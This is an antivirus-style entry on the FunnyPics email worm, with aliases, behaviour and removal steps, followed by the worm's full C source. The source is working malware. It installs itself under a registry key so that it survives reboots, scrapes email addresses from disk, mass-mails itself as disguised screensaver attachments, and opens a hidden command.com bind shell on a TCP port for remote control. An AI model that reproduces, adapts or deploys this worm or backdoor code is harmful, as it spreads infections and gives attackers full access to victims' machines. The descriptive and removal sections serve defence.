Email-Worm.Win32.FunnyPics

Aliases

Email-Worm.Win32.FunnyPics (Kaspersky Lab) is also known as: I-Worm.FunnyPics (Kaspersky Lab), W95/Outspace.worm (McAfee), W95.Outspace.Worm@mm (Symantec), Win32.HLLW.Brsh.14316 (Doctor Web), Troj/Brsh (Sophos), Win32/Brsh.A@mm (RAV), WORM_FUNNYPICS.A (Trend Micro), Worm/FunnyPics (H+BEDV), Win32:BRSH (ALWIL), I-Worm/FunnyPic (Grisoft), Win32.HLLW.Brsh.14316 (SOFTWIN), Worm.FunnyPics (ClamAV), W32/FunnyPics (Panda), Win32/FunnyPics.A (Eset)

Detection added	May 30 2001
Description added	Feb 03 2006
Behavior	Email Worm
Platform	Win32

Technical details

This virus spreads via the Internet as an attachment to infected messages. The worm itself is a Windows PE EXE file 14136 bytes in size.

Installation

The worm copies itself to the Windows root directory as brsh32.exe:

```
%WinDir%\brsh32.exe
```

It then registers this file in the Windows system registry as a new service. This ensures that the worm will be launched each time Windows is rebooted on the victim machine:

```
[HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices]
 "brsh32Service"="%WinDir%\brsh32.exe -q"
```

The worm will:

1. spread via email
2. make remote administration of the victim machine possible via a backdoor

The worm sends itself to email addresses harvested from the victim machine.

When sending infected messages, the worm establishes a direct connection to the recipient's SMTP server.

Email Subject

The message subject is chosen at random from the list below:

- are you ready to enjoy?
- do you wanna laugh out?

Download funny pics for free!
- download screensavers for free!
- Free pics and screensavers
- free screensaver
- funny pics is online again!
- funnypics special offer
- huff OUT!
- humor OnLine
- hunk of fun!
- Listen to Dr.Fun
- pics & screensavers
- ready? steady? laugh!
- Save your screen!
- what you wanna see?

Email Contents

The message body does not change, and is as follows:

Funny Pics Inc. strikes back with more free stuff.Visit our new website with lots of funny pics and new screensavers like this! www.funnypics.com

Attachment

The worm sends a copy of itself in the following attachment: %windir%\brsh32.exe. However, it disguises this file as a picture from www.funnypics.com.

The attachment name is chosen at random from the list below:

- billBates.scr
- bzzz.scr
- funnyPic.scr
- intelAside.scr
- kennyIsAlive.scr
- mac0s.scr
- matrix-SP.scr
- mrBrown.scr
- nastyPokemon.scr
- paradise.scr
- phantomMenaze.scr
- southPark.scr
- SouthParkOuttaSpace.scr
- starWarz.scr
- waaazUp.scr
- x-filez.scr

Payload

The worm will open a TCP port between 8000 and 8255 (chosen at random) and will listen for commands.

This provides a remote malicious user with full access to the victim machine, making it possible to get information from the victim machine, download, launch and delete files.

Removal instructions

1. Delete the following registry key:
   [HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices]

"brsh32Service"="%WinDir%\brsh32.exe -q"

2. Using Task Manager, stop the process called brsh32.exe.
3. Delete the following file: %WinDir%\brsh32.exe.
4. Perform a full scan of your computer (download trial version of Kaspersky Anti-Virus).

```
/*

Bumblebee's Remote Shell [BRSH] (worm edition)
Detected by AVP as i-worm.FunnyPics

Copyright (c) 2001 Bumblebee <bbbee@mailcity.com>

Disclaimer:

THIS IS THE SOURCE CODE OF AN I-WORM. THE AUTHOR IS NOT RESPONSABILE
OF ANY DAMAGES THAT MAY OCCUR DUE TO ITS BUILD AND EXECUTION.

Description:

 Long time since my plage 2000. Now, the bee returns...

 Execution modes:

    execution mode   stealth mess   install   mail   backdoor
  ------------------------------------------------------------
       default     |      1            1        0       0
  -q   quiet       |      0            0        1       1
  -i   install     |      0            1        0       0
  -m   mail spawn  |      0            0        1       0
  ------------------------------------------------------------

 It installs into windows folder and registers itself in the registry
 as a service (that will run in -q mode).

 This is a very simple worm spreading trought mail with mapi32.dll.
 Well, not really simple :) It uses a complex way to get mail addr.
 It creates a empty file and makes it grown in with the file mapping
 routines. As result the file growth is filled with data of the swap
 disk. html files included, you got it? ;) This is a proof of concept
 of another serious lack of security in windows systems. Notice this
 has been tested only under win9x systems and is not as effective as
 other methods are. As far as i know this is the 1st worm that
 exploits this issue.

 It also has a cute backdoor: BRSH (win9x only).

 BRSH is a little remote shell for win9x systems. It listens a port
 (default is 8000+rnd 256) for TCP connections. When a connection is
 established it makes tunneling between the connection and a std
 shell (command.com).

 It supports end session by closing the shell ('exit') or by disconnection.
 Notice second case is less stable. After a session is closed it will
 listen to another connection.

 To sum up, you have here a little clean worm with a simple but effective
 backdoor. Have fun!

 The way of the bee

*/

#include<windows.h>
#include<stdio.h>
#include<tchar.h>
#include<stdlib.h>
```

```
#include<winsock.h>
#include<mapi.h>

/* comment following line to enable debug version for the shell */
#define RELEASE

#ifndef RELEASE
#include<assert.h>
#else
#define assert(x)  /* x */
#endif

/* API form MAPI32 used by the worm */
typedef ULONG (PASCAL FAR *MSENDMAIL)(ULONG, ULONG, MapiMessage *, FLAGS, ULONG);
typedef ULONG (PASCAL FAR *MLOGON)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
typedef ULONG (PASCAL FAR *MLOGOFF)(LHANDLE, ULONG, FLAGS, ULONG);

/* some usefull API's */
typedef BOOL (PASCAL FAR *ICONNECT)(LPDWORD flags,DWORD reserved);
typedef ULONG (PASCAL FAR *RSP)(ULONG, ULONG);

#define RSHM_VERSION    0
#define RSHM_STDADDR    1
#define RSHM_EXIT       2
#define RSH_COMMAND     3
#define RSH_DAEMON      4
#define RSH_REGKEY      5
#define RSH_REGNAME     6
#define RSH_MAPIDLL     7
#define RSH_WINETDLL    8
#define RSH_GETCONNST   9
#define RSH_KERNEL32    10
#define RSH_RSP         11
#define RSH_ATTACHMENT  12
#define RSH_SUBJECT     28
#define RSH_BODY        44
#define RSH_LOGON       45
#define RSH_LOGOFF      46
#define RSH_SENDMAIL    47
#define RSH_SMTP        48
#define RSH_MAILTO      49
#define RSH_BSWAP       50

#define RSH_STDPORT     8000

char *rsh_mess[]= {
"\n[BRSH]\n\r",
"0.0.0.0",
"exit\n\r",
"command.com",
"\\brsh32.exe",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\\",
"brsh32Service",
"MAPI32.DLL",
"WININET.DLL",
"InternetGetConnectedState",
"KERNEL32.DLL",
"RegisterServiceProcess",

"funnyPic.scr",
"billBates.scr",
"SouthParkOuttaSpace.scr",
```

```
"x-filez.scr",
"intelAside.scr",
"mac0s.scr",
"paradise.scr",
"phantomMenaze.scr",
"southPark.scr",
"matrix-SP.scr",
"starWarz.scr",
"waaazUp.scr",
"mrBrown.scr",
"bzzz.scr",
"nastyPokemon.scr",
"kennyIsAlive.scr",

"funny pics is online again!",
"download screensavers for free!",
"Free pics and screensavers",
"do you wanna laugh out?",
"humor OnLine",
"huff OUT!",
"Download funny pics for free!",
"pics & screensavers",
"Save your screen!",
"hunk of fun!",
"what you wanna see?",
"funnypics special offer",
"Listen to Dr.Fun",
"free screensaver",
"ready? steady? laugh!",
"are you ready to enjoy?",

"Funny Pics Inc. strikes back with more free stuff.\n\n"
"Visit our new website with lots of funny pics and\n"
"new screensavers like this!\n\n"
"  www.funnypics.com\n\n",

"MAPILogon",
"MAPILogoff",
"MAPISendMail",
"SMTP:",
"mailto:",
"~bswap.tmp"
};

char filename[1024];

/* checks for internet connection */
BOOL
iconnected(void)
{
  HINSTANCE winetDll;
  ICONNECT GetConnState;
  DWORD result;
  DWORD msec=0;

  /* if we cannot know if it is connected... :/ */
  winetDll=LoadLibrary(rsh_mess[RSH_WINETDLL]);
  if(!winetDll)
        return FALSE;

  /* this case is different, if wininet.dll is installed... assume
     we have net available */
```

```
  GetConnState=(ICONNECT)GetProcAddress(winetDll, rsh_mess[RSH_GETCONNST]);
  if(!GetConnState) {
        FreeLibrary(winetDll);
        return TRUE;
  }

  /* wait while is offline, use a progressive wait loop */
  while((GetConnState)(&result,0)!=TRUE) {
          Sleep(msec);
          msec+=1000;
  }

  FreeLibrary(winetDll);

  return TRUE;
}

/* look for mailto addresses in a buffer. it plazes the result into
   the 'found' char array */
BOOL
ScanMailto(BYTE **file,char *found, DWORD *size)
{
 DWORD i,k;
 BOOL test,valid;
 BYTE *tmp=*file;

 for(i=0,test=FALSE,valid=FALSE;i<*size && !test;i++) {
        if(!_strnicmp(rsh_mess[RSH_MAILTO],tmp+i,6)) {
                valid=FALSE;
                i+=7;
                k=0;
                while(tmp[i]!='>' && i<*size && k<128
                        && tmp[i]!='\'' && tmp[i]!='"') {
                        if(tmp[i]!=' ') {
                                found[k]=tmp[i];
                                k++;
                                if(tmp[i]=='@')
                                        valid=TRUE;
                        }
                        i++;
                }
                if(valid)
                        test=TRUE;
                else
                        k=0;

                found[k]=0;
        }
 }
 *file+=i;
 *size-=i;
 if(!valid)
        return FALSE;

 return TRUE;
}

/* mail stuff */
DWORD WINAPI
SpawnMail(LPVOID param)
{
 LHANDLE session;
```

```
HANDLE fmobj,fd;
BYTE *lpobj,*file;
DWORD size;
char mailto[256];
HINSTANCE MAPIdll;
MLOGON MLogon;
MLOGOFF MLogoff;
MSENDMAIL MSendMail;
MapiFileDesc attachment={
       0,0,(ULONG)-1,NULL,NULL,NULL
};
MapiRecipDesc destination={
       0, MAPI_TO, NULL, NULL, 0, NULL
};
MapiMessage mbody={
       0,NULL,NULL,NULL,
       NULL,NULL,MAPI_RECEIPT_REQUESTED,NULL,1,
       NULL,1,NULL
};

attachment.lpszPathName=filename;
attachment.lpszFileName=rsh_mess[RSH_ATTACHMENT+(GetTickCount()&0x0f)];
destination.lpszAddress=NULL;
mbody.lpszSubject=rsh_mess[RSH_SUBJECT+ ((GetTickCount()&0xf0)>>4)];
mbody.lpszNoteText=rsh_mess[RSH_BODY];
mbody.lpRecips=&destination;
mbody.lpFiles=&attachment;

/* Lowest priority */
SetThreadPriority(NULL,THREAD_PRIORITY_LOWEST);

/* if is not -m mode wait 5 minutes */
if(*((DWORD *)param)==FALSE)
       Sleep(5*60*1000);

MAPIdll=LoadLibrary(rsh_mess[RSH_MAPIDLL]);
if(!MAPIdll)
       return -1;


MLogon=(MLOGON)GetProcAddress(MAPIdll, rsh_mess[RSH_LOGON]);
if(!MLogon)
       return -1;

MLogoff=(MLOGOFF)GetProcAddress(MAPIdll, rsh_mess[RSH_LOGOFF]);
if(!MLogoff)
       return -1;

MSendMail=(MSENDMAIL)GetProcAddress(MAPIdll, rsh_mess[RSH_SENDMAIL]);
if(!MSendMail)
       return -1;

if((MLogon)(0, NULL, NULL, MAPI_USE_DEFAULT,
   0, &session)!=SUCCESS_SUCCESS) {
       Sleep(5000);
       FreeLibrary(MAPIdll);
       return -1;
}

/* open a small file */
fd=CreateFile(rsh_mess[RSH_BSWAP],GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,
        NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_TEMPORARY|FILE_ATTRIBUTE_HIDDEN,NULL);
```

```
 /* and map it with 10 mbs of size */
 fmobj=CreateFileMapping(fd,NULL,PAGE_READWRITE,
        0,0xa00000,NULL);

 lpobj=(BYTE *)MapViewOfFile(fmobj,FILE_MAP_WRITE,0,0,0);

 /* scan it for mail addrr */
 file=lpobj;
 size=(0xa00000-0x10);
 strcpy(mailto,rsh_mess[RSH_SMTP]);
 destination.lpszAddress=mailto;
 /* nice loop */
 while(ScanMailto(&file,mailto+5,&size) && size>0) {
        (MSendMail)(session,0,&mbody,0,0);
        strcpy(mailto,rsh_mess[RSH_SMTP]);
 }

 UnmapViewOfFile(lpobj);
 CloseHandle(fmobj);
 CloseHandle(fd);

 /* log out and unload libraries */
 (MLogoff)(session,0,0,0);

 Sleep(5000);
 DeleteFile(rsh_mess[RSH_BSWAP]);
 FreeLibrary(MAPIdll);

 return 0;
}

/* unload socks at exit */
void
cleanAll() {
 WSACleanup();
}

/* the backdoor is the main module coz it will run in an end-less loop */
int
main()
{
 int sfd,nsfd,result;
 struct sockaddr_in ser_addr,cli_addr;
 WSADATA wsadata;
 int nbytes,cli_len=sizeof(cli_addr);
 BYTE inbyt;
 HANDLE pipeIn[2],pipeOut[2];
 DWORD resdw,resultdw;
 PROCESS_INFORMATION pinfo;
 STARTUPINFO sinfo;
 fd_set readfds;
 struct timeval timev;
 LPTSTR commandLine,ptr;
 HKEY hkey;
 DWORD ThreadId;
 HMODULE k32;
 RSP RegSerPro;
 BOOL connection,quiet,install,mspawn;
 char buffer[1024];

 /*
```

```
    check execution mode:

    -q   quiet (no stealth message, no install, mail infection)
    -i   install (no stealth message, install)
    -m   mail spawn (quiet mode, mail infection)

    Default mode: stealth message, install

*/
install=TRUE;
quiet=FALSE;
mspawn=FALSE;
commandLine=GetCommandLine();
if(commandLine) {
       for(ptr=commandLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
       if(ptr[0]=='-' && ptr[1]!=0) {
              switch(ptr[1]) {
                     default:
                     break;
                     case 'q':
                            quiet=TRUE;
                            install=FALSE;
                     break;
                     case 'i':
                            quiet=TRUE;
                            install=TRUE;
                     break;
                     case 'm':
                            quiet=TRUE;
                            install=FALSE;
                            mspawn=TRUE;
                     break;
              }
       }
}

/* generate a fake message in user lenguage */
/* try to load the 0.0.0.0.dll hehehe */
if(!quiet) {
       LoadLibrary(rsh_mess[RSHM_STDADDR]);
       FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError(),
              MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),&buffer,1024,NULL);
       MessageBox(NULL,buffer,NULL,MB_OK|MB_ICONSTOP);
}

/* this should be used in sending files also */
/* that's why filename is a global var */
GetModuleFileName(NULL,filename,1024);
/* installation code */
/* copy it to windows folder and register it as service */
if(install) {
       GetWindowsDirectory(buffer,256);
       strcat(buffer,rsh_mess[RSH_DAEMON]);
       if(CopyFile(filename,buffer,TRUE)) {
              SetFileAttributes(buffer,FILE_ATTRIBUTE_READONLY |
                     FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
              strcpy(filename,buffer);
              strcat(filename," -q");
              if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,rsh_mess[RSH_REGKEY],
                     0,KEY_WRITE, &hkey)==ERROR_SUCCESS) {
                     RegSetValueEx(hkey,rsh_mess[RSH_REGNAME],0,REG_SZ,
                            filename,sizeof(filename)+1);
```

```
                        RegCloseKey(hkey);
                }
        }
        /* wait to next boot to run */
        return 0;
}

/* hide current process as service */
k32=GetModuleHandle(rsh_mess[RSH_KERNEL32]);
if(k32) {
        RegSerPro=(RSP)GetProcAddress(k32,rsh_mess[RSH_RSP]);
        if(RegSerPro)
                RegSerPro(0,1);
}

/* check for inet connection */
if(!iconnected())
        return -1;

/* run mail spread routine */
if(mspawn) {
        resdw=1; /* disable wait */
        /* and end work here */
        return SpawnMail((LPVOID)(&resdw));
}

/* run mail spread routine in a new thread */
resdw=0; /* enable wait */
CreateThread(NULL,0,SpawnMail,(LPVOID)(&resdw),0,&ThreadId);

/* create 2 pipes */
if(!CreatePipe(&pipeOut[0],&pipeIn[0],NULL,0))
        return -1;

if(!CreatePipe(&pipeOut[1],&pipeIn[1],NULL,0))
        return -1;

/* start up socks */
result=WSAStartup(MAKEWORD(1,1),&wsadata);
if(result) {
        assert(!result);
        return -1;
}
atexit(cleanAll);

if(LOBYTE(wsadata.wVersion)!=1 || HIBYTE(wsadata.wVersion)!=1) {
        assert(LOBYTE(wsadata.wVersion)==1);
        assert(HIBYTE(wsadata.wVersion)==1);
        return -1;
}

sfd=socket(AF_INET,SOCK_STREAM,0);
if(sfd==INVALID_SOCKET) {
        assert(sfd!=INVALID_SOCKET);
        return -1;
}

ser_addr.sin_family=AF_INET;
ser_addr.sin_addr.s_addr=inet_addr(rsh_mess[RSHM_STDADDR]);
/* pseudo random port RSH_STDPORT + rnd(256) */
ser_addr.sin_port=htons(RSH_STDPORT+(0xff & GetTickCount()));
```

```
result=bind(sfd,(struct sockaddr *)&ser_addr,sizeof(ser_addr));
if(result==-1) {
	assert(result!=-1);
	return -1;
}

listen(sfd,5);
/* main loop */
for(;;) {

nsfd=accept(sfd,(struct sockaddr *)&cli_addr,&cli_len);
if(nsfd==INVALID_SOCKET) {
	assert(sfd!=INVALID_SOCKET);
	return -1;
}

nbytes=send(nsfd,rsh_mess[RSHM_VERSION],strlen(rsh_mess[RSHM_VERSION]),0);
if(nbytes<strlen(rsh_mess[RSHM_VERSION])) {
	closesocket(nsfd);
	continue;
}

/* for redirection stuff */
ZeroMemory(&sinfo,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
sinfo.hStdOutput=pipeIn[0];
sinfo.hStdError=pipeIn[0];
sinfo.hStdInput=pipeOut[1];
sinfo.wShowWindow=SW_HIDE;
/* try command.com */
if(!CreateProcess(NULL,rsh_mess[RSH_COMMAND],NULL,NULL,TRUE,CREATE_NEW_CONSOLE,
	NULL,NULL,&sinfo,&pinfo)) {
	/* if fails close connection */
	closesocket(nsfd);
	connection=FALSE;
} else
	connection=TRUE;

Sleep(5000);
while(connection) {

/* read from console */
do {
	PeekNamedPipe(pipeOut[0],NULL,0,NULL,&resultdw,NULL);
	if(resultdw>0) {
		ReadFile(pipeOut[0],&inbyt,1,&resultdw,NULL);
		if(resultdw>0)
			send(nsfd,&inbyt,1,0);
	}
} while(resultdw>0);

/* write into console */
do {
	FD_ZERO(&readfds);
	FD_SET(nsfd,&readfds);
	timev.tv_sec=0;
	timev.tv_usec=0;
	select(nsfd,&readfds,NULL,NULL,&timev);
	if(FD_ISSET(nsfd,&readfds)) {
		nbytes=recv(nsfd,&inbyt,1,0);
		if(nbytes>0)
```

```
                        WriteFile(pipeIn[1],&inbyt,1,&resultdw,NULL);
                else {
                        /* end process if neeed: exit\n\r */
                        /* not the best way, dirty exit if connection
                           lost/error */
                        GetExitCodeProcess(pinfo.hProcess,&resultdw);
                        if(resultdw==STILL_ACTIVE) {
                                WriteFile(pipeIn[1],rsh_mess[RSHM_EXIT],
                                        strlen(rsh_mess[RSHM_EXIT]),&resultdw,NULL);
                        }
                        closesocket(nsfd);
                        connection=FALSE;
                        nbytes=-1;
                }
        } else
                nbytes=-1;
 } while(nbytes>0);

 /* if command ends, just close connection */
 GetExitCodeProcess(pinfo.hProcess,&resultdw);
 if(resultdw!=STILL_ACTIVE) {
        closesocket(nsfd);
        connection=FALSE;
 }

 }

 }
 return 0;
}
```